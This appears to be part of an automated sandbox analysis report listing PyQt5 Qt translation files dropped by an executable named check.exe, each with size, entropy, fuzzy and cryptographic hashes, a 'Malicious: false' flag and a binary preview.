Preview:	<.d....!..`.......it_ITB...(.(.....g.0T....y.5w... ..Uj....2.`.......a[............'..t..............39..........&..........B<s...j..M^...h......K...J..%..O5^...K..)^......o>...u...J..%.......#....t.....8dz..$..D ......k.N.....k.N.......n.......I..............2>.................o..G..."...w............-......./..,................^...'........$a......6.>..........#...K...........$..W.b....._Xn......GN......~.......TH.."n.!.....5.K.H..#"......>..pN..........&..P.~.....o.....~..(....p.....!...~....A.s.>.....o.... ..z.q..........................q.h....!0.......*..e....;i..'!......(.L.a. .c.a.u.s.a. .d.i. .c.i... .p.o.t.r.e.b.b.e. .e.s.s.e.r.e. .c.h.e. .l.'.i.n.d.i.c.i.z.z.a.z.i.o.n.e. .d.e.l.l.a. .d.o.c.u.m.e.n.t.a.z.i.o.n.e. ... .a.n.c.o.r.a. .i.n. .c.o.r.s.o...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.......R.i.s.u.l.t.a.t.i. .d.e.l.l.a. .r.i.c.e.r.c.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7917
Entropy (8bit):	5.680408580146589
Encrypted:	false
SSDEEP:	192:mP6J37GcBzRjYEPEJJGTnwfJJxb7FTPjzzZBL3/q/I53:mSVqclR5s6Tnwfb7Pj/PL3/q/w3
MD5:	1380A9352C476071BDA5A5D4FED0B6C5
SHA1:	9B737ED05F80FE5D3CD8F588CCEC16BB11DD3560
SHA-256:	AE603B2C0D434D40CDE433FFCBA65F9EE27978A9E19316007BE7FE782A5B8B47
SHA-512:	EC3D68126488C3A163898BACAF7E783217868573635182CAF511ED046B4BE1F99A71FBB24DA607CCB50EDAF70893007AAEE9A6BAAE4C1CD33465A0915AA965DA
Malicious:	false
Preview:	<.d....!..`.......jaB...(.(.....S.0T......5w....'.Uj......`.......a[............u..t............!.39.....................B<s......M^..............J...>.O5^...O..)^......o>.......J...............t...w.8dz.....D ......k.N.....k.N...H...n.......I...........i..2>...<......G......9..G....P..w............i..........,................^..........'.$a......6.>...5..........K............S.W.b...2._Xn......GN...@..~.......TH.....!.......K.H.............pN...........S.P.~.....o.....\|..(..............~....o.s.>.....o.......z.q..................@.........h.....&....... ..e.....i........@.(0.0.0.0.0.0.0n}"_.0nO\b.0L}BN.0W0f0D0j0D0_0.0K0.0W0.0~0[0.0..).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......l..:..........Note:.....QCLuceneResultWidget......i.}"}Pg...........Search Results.....QCLuceneResultWidget.....R0.0.0.0.0.0.0n}"_.0nO\b.0L}BN.0W0f0D0j0D0_0.0.i.}"}Pg.0LN.[.Qh0jS..`'0L0B0.0~0Y0..........VThe search results may

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	5708
Entropy (8bit):	5.698914195742074
Encrypted:	false
SSDEEP:	96:elPQHJ6L4c7LaQaFQv2QEhBL+Ejma0W40U0BzlQlcrnUSaTIdspIc18CLRSM3LBY:dHI97W1BbNz1VqqzJpoj5y5uY7OGrWFE
MD5:	CD15674A652C2BF435F7578E119182F8
SHA1:	AEA22E4A0D21396733802C7AB738DDD03737B7D6
SHA-256:	F11C64694E8E34E1D2C46C1A1D15D6BA9F2DB7B61DE4FDF54ECA5AB977C3E052
SHA-512:	88BFA112F4DBC0BFB4013CE0937E5180B4AB4A217FC8A963798C7C86532E794E4A1AD88416AE42F26A1C0631B465A5D69BFE75366E048502F5E21F4115A12F19
Malicious:	false
Preview:	<.d....!..`.......koB............%.......0T......K:^...g.Uj......`........YJ...>.E.4...........z...>..........;.B<s...K.B\>...b........+.s.....zq....[..9....F..vR......@.......@.......:....c.8Z......g.N...7..F....\|...........t.....D ......k.N.......I...m..^......`#....!..2.......G....@...N.................................X..K....{.......i..GN......NO.............K.H..........S..pN...z..V...............................>...........:.~.....i..%c.....z.q....i...s......D.0. .............Add Filter.....FilterNameDialogClass.......D.0. .t...:..........Filter Name:.....FilterNameDialogClass........... ...L..........Untitled.....QHelp.....(...L... ...\|.D. .....`. ... ...L.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....".....0...\|. .... ... ...L.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....2...\|. .%.1... ...x. .L.t...D. .... ... .................&Cannot create index tables in file %1......QHelpCollectionHandler.....,.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9673
Entropy (8bit):	4.622652249027856
Encrypted:	false
SSDEEP:	192:TO/7kBL9wGu3wtCnlhLJUBB7oph+mZ18LgP:T8QnwcCnlhdvphpZ18LgP
MD5:	2B68446B69D9AA40B273D75A581D2992
SHA1:	8A09BD38998543B74E2673478EDD54FB4BBDD068
SHA-256:	CC6CB4D8C54086224672F2E49E623C8CB7C0C1CD65B8D5ECD42FC9BA3A6065BD
SHA-512:	F3A3D6A416B3411613B06FC3EE56625D4D4DE80087182AB0D0601E49314861ABEF97D11A15B4C0511911544A59FBC4A4A52F0CCF0FD43F763A76A8922D8E57B6
Malicious:	false
Preview:	<.d....!..`.......plB.....(.......0T....T.5w......Uj... R.`.......a[...............t............2.39....H......6.......n.B<s.. ...M^..._......6.O5^...F..)^......o>...............t.....D ......k.N.....k.N.../...n.......I...W..........2>...w................G.......w............&.......:..,................^...(..... ..$a....?.6.>...$..........K......W.b....._Xn......GN...Y..~......!.....*.K.H...E....."...pN...-.........P.~...}.o........(....1..~......s.>......%c.."..o.....r.z.q............................h................e.....i..#.......N.i.e.n.a.z.w.a.n.y..........Untitled.....QHelp.....P.N.i.e. .m.o.\|.n.a. .s.k.o.p.i.o.w.a... .p.l.i.k.u. .z. .k.o.l.e.k.c.j...:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....>.N.i.e. .m.o.\|.n.a. .u.t.w.o.r.z.y... .k.a.t.a.l.o.g.u.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....H.N.i.e. .m.o.\|.n.a. .u.t.w.o.r.z.y... .t.a.b.e.l. .w. .p.l.i.k.u. .%.1........... Cannot create tables in file

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7288
Entropy (8bit):	5.297177914619657
Encrypted:	false
SSDEEP:	192:dBJjvfq7D6X68uBAzlp5W9+yBPZZZMM7vL0PXJL:JKrMEL0PXJL
MD5:	794AF445A5D7082D51BD22683449F86D
SHA1:	3A0C369872B112A1572AA17EEB814B168B225D98
SHA-256:	557B644E6DA5F1EC720EF93965617087E4D1F40B2494CC5AA524CF3796108DE7
SHA-512:	D42C870A16AEE7626BBE24886AD423895529A2F1A51AC2DBC303BC0E4EF9D3241FE894ECA3F7217AD408C8DCEE165CA4B89D84570357B0EB80340A3F72B0A846
Malicious:	false
Preview:	<.d....!..`.......ruB..........\.%.......0T......K:^.....Uj....L.`........YJ...X.E.4...............>............B<s.....B\>............+.s.....zq.......9....B..vR...L..@.......@....G..:......8Z......g.N......F....>...........t.....D ....R.k.N...E...I...W..^......`#....s..2.......G....^...N.........................K.......d..K............O..GN...b..NO.............K.H.............pN...P..V....................g..........>.............~........%c.....z.q....i........$...>.1.0.2.;.5.=.8.5. .D.8.;.L.B.@.0..........Add Filter.....FilterNameDialogClass.........<.O. .D.8.;.L.B.@.0.:..........Filter Name:.....FilterNameDialogClass.........5.7.K.<.O.=.=.K.9..........Untitled.....QHelp.....b...5. .C.4.0.;.>.A.L. .A.:.>.?.8.@.>.2.0.B.L. .D.0.9.;. .:.>.;.;.5.:.F.8.8. .A.?.@.0.2.:.8.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....<...5. .C.4.0.;.>.A.L. .A.>.7.4.0.B.L. .:.0.B.0.;.>.3.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....`

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	4.70568613551943
Encrypted:	false
SSDEEP:	192:uPq7iBWseXKkVu4+Qv9zEJ1xGMaLNmBgJqdC6/MxIMt:LWcseV04Xv9zEoLNDJqdX/MxRt
MD5:	75C94E59F1FC5312AE25381C247AF992
SHA1:	E3E5F4582CC5FAFE6DF43644D11484861023C084
SHA-256:	F41E33E1D790BD0D3EB180F1F875BC191FE74773628F25C2CAD95E1402E66867
SHA-512:	959B8F4D57FC9728DD4804322333D1792D45A0EE85615B559E0CA3BD2DEA22E2C8C68C6482AE9425D29C819B0ED27473EDDC82EF4B6ECFFB2E2E7B56E1509B63
Malicious:	false
Preview:	<.d....!..`.......sk_SKB...8.(.......0T......Uj......`.....0.a[....8..........t..............1"......39.......s........... .....%..........B<s...6..MQ..............J..$-.0.......O5Q......)Q...;..o>...........G...J..$......."....t.....8dz..#..D ......k.A...2.k.A.......n..._...I.................. ...21..........e.........G...!...w....Y...........!...........=...Q............$a......6.>.........."...K....i......# ._Xa..."..GA..............~.......TH..!{.K.H.."7.........pA..........%..P.~.....o........(..........!...~....u.s.1.....o.......z.q...c..............................f..e....9i..&-......(.D...v.o.d.o.m. .m...~.e. .b.y.e. .t.o.,. .~.e. .d.o.k.u.m.e.n.t...c.i.a. .s.t...l.e. .n.i.e. .j.e. .z.i.n.d.e.x.o.v.a.n.....).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......P.o.z.n...m.k.a.:..........Note:.....QCLuceneResultWidget.....".V...s.l.e.d.k.y. .h.>.a.d.a.n.i.a..........Search Results.....QCLuceneResultWidg

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_sl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10363
Entropy (8bit):	4.613473842638716
Encrypted:	false
SSDEEP:	192:vNBqTi7qBCVIQf54EslZ2Jy/L/BnmpP0bX3caK6q1B6/hgIlCCUb0:vjq2+UVT4ESZOYmpP0bX26q1I/yqCCUw
MD5:	3B0AEE27B193A8A563C5CB5C7C4FE60F
SHA1:	C94E832595EC765370553468F87C02DB7E7D138A
SHA-256:	2EC955E662407EBCD8DCDAE5AAA21E4108E0B5B0AEE0E9DB712C27072943535F
SHA-512:	EBC25C378126876F44279E23CA0CF06FC9E7D5F51AD7E3DBDABA7A50C81112EDC1C76F7FD0AF47E447A93C3593BB953A0C9C1FBBFC49494E6B29BF21655F690E
Malicious:	false
Preview:	<.d....!..`.......slB...8.(.....E.0T......Uj......`.......a[............!..t..............1"....;.39.......s....^............$........i.B<s...,..MQ..........}...J..#..0.....Z.O5Q...[..)Q......o>...............J..$I......"W...t...C.8dz..#H.D ......k.A.....k.A.......n.......I.................. P..21....................G...!...w............?...!...3...........Q...+........$a....>.6.>.........."...K...........".._Xa......GA..............~....A..TH..!I.K.H..!..........pA...>......%..P.~...>.o........(....d..... ...~......s.1.....o.......z.q.....................................e....{i..&.....z.(.R.a.z.l.o.g. .j.e. .m.o.r.d.a. .t.o.,. .d.a. .s.e. .d.o.k.u.m.e.n.t.a.c.i.j.o. .a.e. .v.e.d.n.o. .i.n.d.e.k.s.i.r.a...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......O.p.o.m.b.a.:..........Note:.....QCLuceneResultWidget.....".R.e.z.u.l.t.a.t.i. .i.s.k.a.n.j.a..........Search Results.....QCLuceneResultWidget.......R.e.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	4629
Entropy (8bit):	4.68793836539357
Encrypted:	false
SSDEEP:	96:BoiK0UD2wMLb7Lqlguotqbww5BLNwWjK0kHU9zuQlUVUfniqthweEIFwC18lLEGA:PXFf7pU75BWWOpcJcVqDFNz8brgyf76r
MD5:	32D6EE3D8EE6408A03E568B972F93BCB
SHA1:	582EE079DBD42000C378E0701D26405750524DBA
SHA-256:	EBDECA0CFEE7A9441DEB800BABFD97C63BC4E421DA885C55B3BD49725EBACD25
SHA-512:	24AAA30B9CB4DB82A57411FBA24A87D70D8B845AE48A6FDA633D0BE6B824B58FDD2F450C2B385F16F49E2F9C6FA0A3124FD0F28594726940F996C66F8F3216CC
Malicious:	false
Preview:	<.d....!..`.......tr_TRB.....%.....[.0T......Uj......`.....$..............L.B<s.....B\>..........4.+.s...............t.....D ......k.N...5...I......2.......G....5...N..........a...............f..K....9..........GN...........@.K.H..........q..pN...t..........>...z.~...../..%c.....z.q....i..........B.a._.l.1.k.s.1.z..........Untitled.....QHelp.....J.K.o.l.e.k.s.i.y.o.n. .d.o.s.y.a.s.1. .k.o.p.y.a.l.a.n.a.m.1.y.o.r.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....2.D.i.z.i.n. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....\.%.1. .d.o.s.y.a.s.1.n.d.a. .d.i.z.i.n. .t.a.b.l.o.l.a.r.1. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r...........&Cannot create index tables in file %1......QHelpCollectionHandler.....N.%.1. .d.o.s.y.a.s.1.n.d.a. .t.a.b.l.o.l.a.r. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r........... Cannot create tables in file %1......QHelpCollectionHandler.....P.S.q.l.i.t.e. .v.e.r.i.t.a.b.a.n.1. .s...r...c...

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9750
Entropy (8bit):	5.281035122342072
Encrypted:	false
SSDEEP:	192:eMp79BCN+u8hhbHbny+HJouHgei50JBSfDvbetpP/RIkT:eIhgNgBbny+phiS3SfDDetpP/RRT
MD5:	90A776917D534B65942063C319573CDC
SHA1:	5DF3B213D985A3BBDB476B37B7780D7D7DF17E41
SHA-256:	497CFC473684692EE44D7A3795E8FB2270C57069FD9EB98A615DD29AB9BE8A7C
SHA-512:	B34A019716B50CE8E1E20AC32756B3B0D5802971F7A04F4BDDE2418DA551AFB9742B79E934979DB6FAB9DAC05D7D26A3B19ABA77158321F8D9AAB08AEBBD455A
Malicious:	false
Preview:	<.d....!..`.......uk_UAB...(.(.....?.0T......5w......Uj......`.......a[...............t............K.39....u....."..........B<s...8..M^...j......y...J..!..O5^...Y..)^......o>...o...J..":...... <...t...E.8dz..!3.D ....".k.N.....k.N...d...n.......I..............2>...>......o.........G.......w............E.......e..,................^...S........$a......6.>...'...... y..K........... ..W.b....._Xn......GN...p..~.......TH...4.!.....9.K.H.............pN..........#].P.~...~.o.....N..(....b.........~......s.>.....o.....o.z.q..........................U.h.............D..e.....i..#.......(...@.8.G.8.=.>.N. .F.L.>.3.>. .<.>.6.5. .1.C.B.8. .B.5.,. .I.>. .4.>.:.C.<.5.=.B.0.F.V.O. .4.>.A.V. .V.=.4.5.:.A.C.T.B.L.A.O...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.........@.8.<.V.B.:.0.:..........Note:.....QCLuceneResultWidget.....". .5.7.C.;.L.B.0.B.8. .?.>.H.C.:.C..........Search Results.....QCLuceneResultWidget....... .5.7

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_zh_CN.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	6441
Entropy (8bit):	5.790303416386852
Encrypted:	false
SSDEEP:	192:pB37nBD4H5PCyLDxLSzJPduYx9vja/FIgH9yIFqfs:rTZ4HUAD1S1JFe/F59PFqfs
MD5:	9297A6905B8B1823BF7E318D9138A104
SHA1:	3DB992A1B3BBCAF314B7EA4A000D6334D7492A52
SHA-256:	C02AAA20923F18ADDAB520BE5CB84EFD4C723396BDC24B4C9A72D406F101C7B4
SHA-512:	01F12CEE0AE456D78942A6049E1C77F94B406C8FFB4A5944DE15E54D1C760CDBA13279530A8F29B1443D1BBC647D3AF5436AAD8C43EB3944316C48300B3827E4
Malicious:	false
Preview:	<.d....!..`.......zhB......I....L.0T......Uj......`.......a[...............t....P..@....Z.......<.........39.......s....2.................B<s......MQ..........9...J......31.....0.......O5Q......)Q...^..o>...........(...........J...V...........t.....8dz.....D ....Z.k.A.....k.A.......n.......I...........t..w................!...........o.......D...Q...E........$a......6.>...h...............%._Xa......GA..........._..TH...r.........pA.............P.~.....o.....].~.q.............~......o.....h.z.q...........H..0q....................i........2..S.u...y.`.Q.v.S.V.S..f/V.N:..e.hckcW(..}"_.0............M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......l..............Note:.....QCLuceneResultWidget......d.}"~.g...........Search Results.....QCLuceneResultWidget.....,d.}"~.g.N_..^vN.[.et..V.N:..e.hckcW(..}"_............VThe search results may not be complete since the documentation is still being indexed!.....QCLuceneResultWidget..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_help_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9301
Entropy (8bit):	5.80411750798786
Encrypted:	false
SSDEEP:	192:4bgIXwsL78BQp4dRDP0ludqODa/wkB/tTWn5dJ6mO8IZiT9Dzz/wI3HyRWqUqS:lI/oS4dR5c/tTWn5/EZA9D/w+H8WqUqS
MD5:	47C3328D3918CF627112BB6C50E30B86
SHA1:	05705603AB3F28402A6C103E1C41DDFF21D140C0
SHA-256:	3697F1660D7F2AC9B37AC33CD1C7ECAE08ADBD26710E7E0076497CCDDC8BC830
SHA-512:	8DE1C3C5A48965CF6D8AA545DA9F0A5C00AE124F3E4153597915E7C0F4CAE1E26723270F58A47AA9FFA4AAF30E6EBA522D4EBAD27DECF17EF108E353E611980E
Malicious:	false
Preview:	<.d....!..`.......zh_TWB......I....[.%.......0T......0T......Uj......Uj....R.`.....>.a[....................g..t....7..@......................39.......s................... .........B<s.....B<s.....B\>......MQ..........[...J...]..31.....+.s...c.0.....U.O5Q......)Q...C..o>.......................J...............t...3...t.....8dz.....D ....R.D ......k.A.....k.A.....k.N...'...n.......I.......I...........[..2....x..G........N......w................!...........:...........Q...&...............$a......6.>...I.......L.......$..K......................_Xa...y..GA...O..GN...........$..........TH...I.K.H................ Y..pA...K..pN.............P.~.....o.....D.~.q......>.............~......~........%c.. ..o.....!.z.q...........#..0q....................i..!Y....(..g.S..f/V.p.N.W(^.z.e.N.v.}"_.uvN-0............M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......P..;............Note:.....QCLuceneResultWidget......d.\.}Pg...........Sea

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.6255640074603277
Encrypted:	false
SSDEEP:	3:j2wZC4C/IrLlAlHekfK/gp1MUXaMlI+rwtbWlMiayIPldkOgn:CwDrC+TYIUrIRt6HoiHn
MD5:	5A46979B45C67DD6312F33CCEA2ED7BC
SHA1:	4C56836B1FB10D9903B299CBCB925947D515B4C8
SHA-256:	BB246AABD501E14CED8B1FFC1369E3D5D26567AAE62B3EAD4D94C22FB77C3471
SHA-512:	BDBA4E1731CF254E95B0F1337410937C765E96FBB1D42F1D053033E1511FEE6F50C02705F781F4DAA0347E2299DC78A5A9942AC4EA343ED1F8F401F9ACD961E4
Malicious:	false
Preview:	<.d....!..`.......hu....v.....q.t.b.a.s.e._.h.u.....q.t.s.c.r.i.p.t._.h.u.....q.t.m.u.l.t.i.m.e.d.i.a._.h.u... .q.t.x.m.l.p.a.t.t.e.r.n.s._.h.u

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.5752972123113778
Encrypted:	false
SSDEEP:	3:j2wZC4C/EbFlAlHeke5zOp1MUWLt7KlI+rwtbWlMj5FKIPldkOA9kk:CwDM+35aIUW5SIRt6Q50oi9Gk
MD5:	2BB8C94D420D3BC344C79A01043BDC89
SHA1:	3FBA773D58E6D3699C20AB41AEE6801E71E2DDAE
SHA-256:	9117AAC2D07BC86DFA55A29B8825ED27C7093300FCC90E143E135E00E85F09D7
SHA-512:	C6B13655AFB206B0056F5656B4A9BF33CC267FCC928F6973258131CFA6443970510226FE45A041E5AA988809E17D0B11C7458F4A241C71521EDED186596C6055
Malicious:	false
Preview:	<.d....!..`.......it....v.....q.t.b.a.s.e._.i.t.....q.t.s.c.r.i.p.t._.i.t.....q.t.m.u.l.t.i.m.e.d.i.a._.i.t... .q.t.x.m.l.p.a.t.t.e.r.n.s._.i.t.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.599979504080125
Encrypted:	false
SSDEEP:	3:j2wZC4C/il/lAlHekd6hY1MUV6JAlI+rwtbWlMgel3UlIPldkOG:Cwz4+pjUGAIRt6qVUloiB
MD5:	8A1EE3433304838CCD0EBE0A825E84D8
SHA1:	2B3476588350C5384E0F9A51FF2E3659E89B4846
SHA-256:	23457CE8E44E233C6F85D56A4EE6A2CECD87C9C7BDDE6D8B8A925902EED1CD9C
SHA-512:	2D8ACD668DF537E98B27161F9FA49828EB2EB6E9CF41DB38E7F5D31F610D150CD1B580A8AE9B472A4DFDE4D4BF983C24A56293BB911CF5879368664E4D4CF3D2
Malicious:	false
Preview:	<.d....!..`.......ja....v.....q.t.b.a.s.e._.j.a.....q.t.s.c.r.i.p.t._.j.a.....q.t.m.u.l.t.i.m.e.d.i.a._.j.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.j.a

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.652277257665055
Encrypted:	false
SSDEEP:	3:j2wZC4C/rrr/lAlHekcQ/01MUUQMlI+rwtbWlMhQGlIPldkORn:CwCC+1Q/UUpIRt6SBloimn
MD5:	7B2659AF52B824EAC6C169CDD9467EE9
SHA1:	5727109218B222E3B654A8CC9933E970EB7C2118
SHA-256:	4CC1AF37E771F0A43898849CFF2CD42A820451B8D2B2E88931031629D781DB05
SHA-512:	E9475AC80BDBBEFF54F2724A2B6BA76992F18FD1913FD8EE1540A99FD7A112B79FED5A130B6AC6D7460E4420C06354FC6E4CF7770A7C6CBD3EAC1BDAF0082DE5
Malicious:	false
Preview:	<.d....!..`.......ko....v.....q.t.b.a.s.e._.k.o.....q.t.s.c.r.i.p.t._.k.o.....q.t.m.u.l.t.i.m.e.d.i.a._.k.o... .q.t.x.m.l.p.a.t.t.e.r.n.s._.k.o

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_lt.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165383
Entropy (8bit):	4.805977227348512
Encrypted:	false
SSDEEP:	1536:i5v3+zmayloj6yJjhnBAbnrKnGrhA7WgdXclIsooY9i:SvOzAloj6yJ9BA7riGr+7WKXc+s5ui
MD5:	8992B652D1499F5D2F12674F3F875A35
SHA1:	E22766A49612F79156C550D83C6C230345DDA433
SHA-256:	47EB5F97467DF769261421D54A5BEA1131C9FB9B6388791D38BB6574335B64BF
SHA-512:	9B8B6DBFF432F2A46C14BC183A6BAF84ACBF02BF2C5BB8C306C6538FBD9BE1C0A9015BD46728F2F652F9163AFC56B1E16D16EB95D8F7728F3C562AE9F4F1AE1E
Malicious:	false
Preview:	<.d....!..`.......ltB..0X.....)C...+...\|......P....@..9....A..9....B..:....C..:....D..;....E..;....F..<6...G..<....H..=)...I..=....P..>q...Q..>....R..?....S..@f...T..@....U..A\...V..B....W..B....X..C....Y..Cy...]..k....t..........t>......th......t.......pd...;..J'...;.._h...;.......;...{...;..J....;...)...M..l....O...R...O...............}..l9...m..lo......^S..(5..P{..+;..4...+;......+;......+O..4...+O......1...^...E@..?p..F...C...H4......HY......H.......I...D...I@..s...IA..t...IC...2..J.......J....Y..J.......J.......K...9...LD...`..L.......PS......R.......T...q...Zr...`..[`......[`..&@..\....e..\....b.._......._....P..1........E..........5........L..1...O...1...PP......7......../...........$.......$.......,.......y.......y..........K^..............x......8................L...E.......E.......E......................%..:....%.........0U.....W......Zo.....^....5.......0..I....0...F...0...\|...0.......0.......0..+\...5...}.......... D...g.. D......+....j..,.......,.......<U...+..<U

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_lv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	89
Entropy (8bit):	4.156834975253888
Encrypted:	false
SSDEEP:	3:j2wZC4C/HzllldQlHekbxplUp1MUTJ+b:Cwv+DIUEb
MD5:	19F1B919BB531E9E12E7F707BEBD8497
SHA1:	46E82683CEA28D877C73A5CE02F965BB1130FC62
SHA-256:	03467738042A15676E504BA02CB326DCDB773B171FADA3CD62B7A0E0564314A0
SHA-512:	901D7B26CAC7A4D0FFDB39A1D25767B5BC71BED4AFBE788D70BF19D4C58A8295167111675AB45E743FDF4768AF874D69417414C01CF23D5C525A3F6C8BF7D21F
Malicious:	false
Preview:	<.d....!..`.......lv....0.....q.t.b.a.s.e._.l.v.....q.t.s.c.r.i.p.t._.l.v........)....

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	161
Entropy (8bit):	3.8693516202048612
Encrypted:	false
SSDEEP:	3:j2wZC4C/5J/p/lAlHekHp/7KlI+rwtbWlM6Tl/z21MUPp/FOlIPldkOjehB:Cwr+26IRt6nFURkloiT
MD5:	D71EA9FEFD97464B178235150EC8759E
SHA1:	61026FE602FD1B8B442A0D341C6BD759EEC75488
SHA-256:	BD7DD0C2CAB119A973DC10C3BFF7499D9728B928B541F86056921B30C8DB78E6
SHA-512:	ECD76A7D8B8D733E635B2BFEA90A4CD387B83D9D8A4EB6D299F59FF22AAA8D617A4C886A825A1CDDD901925C7839E2C18BDD4E0CD84152641922B66B62663F77
Malicious:	false
Preview:	<.d....!..`.......pl....v.....q.t.b.a.s.e._.p.l.....q.t.m.u.l.t.i.m.e.d.i.a._.p.l.....q.t.s.c.r.i.p.t._.p.l... .q.t.x.m.l.p.a.t.t.e.r.n.s._.p.l............,..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_pt.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	70334
Entropy (8bit):	4.732724622610353
Encrypted:	false
SSDEEP:	768:OKGUuWW+WHjS0gMBd483+Y7bDPs4RHBloLUIltlzAJnx4nnliM1OPlOibLG:JGUuWPuSgm0Jn+n4Mhj
MD5:	6656500F7A28EF820AE9F97FD47FB5BB
SHA1:	CC112B9C9513BCF7497F3417168B4C8A9F7640A9
SHA-256:	2C1E7BBF5168A64B43752DD4C547601C0BDE6D610F8671FA3E3AF38597E84783
SHA-512:	5C3CBFCF86AF6B4D949C1D914CD379E512E73BA350AF661033A386EE7FB981FBFCB43D9A35FDE7656E17BB09F64F1469F84867A780573C3359D645269461D5A6
Malicious:	false
Preview:	<.d....!..`.......pt_PTB...(......9...+...e...]..6....;.......;..-....;..;`...;..};...;.......M..6....O... ...O...w...........}..7....m..7B..........+;......+;..8S..+;..>...+O......+O..8#..H4......H.......J......K.......LD...)..L....}..PS...l..Zr...B..[`...;..[`.....\...kU.._......._.......1...?...............8...............E............,..................p........0...............v...........%...O...%..G........4...0.......0..:....0..y....0..\|....0.......0...X...5.......5...... D..=... D..Kn..+....L..,...>...,......<U..z...<U......<.......F...>...F.......H5...4..H5..=...H5..K...H5......f....p..f...1...f...;...f...I...f...\|H..f.......f.......l....................b......<...............>.......L 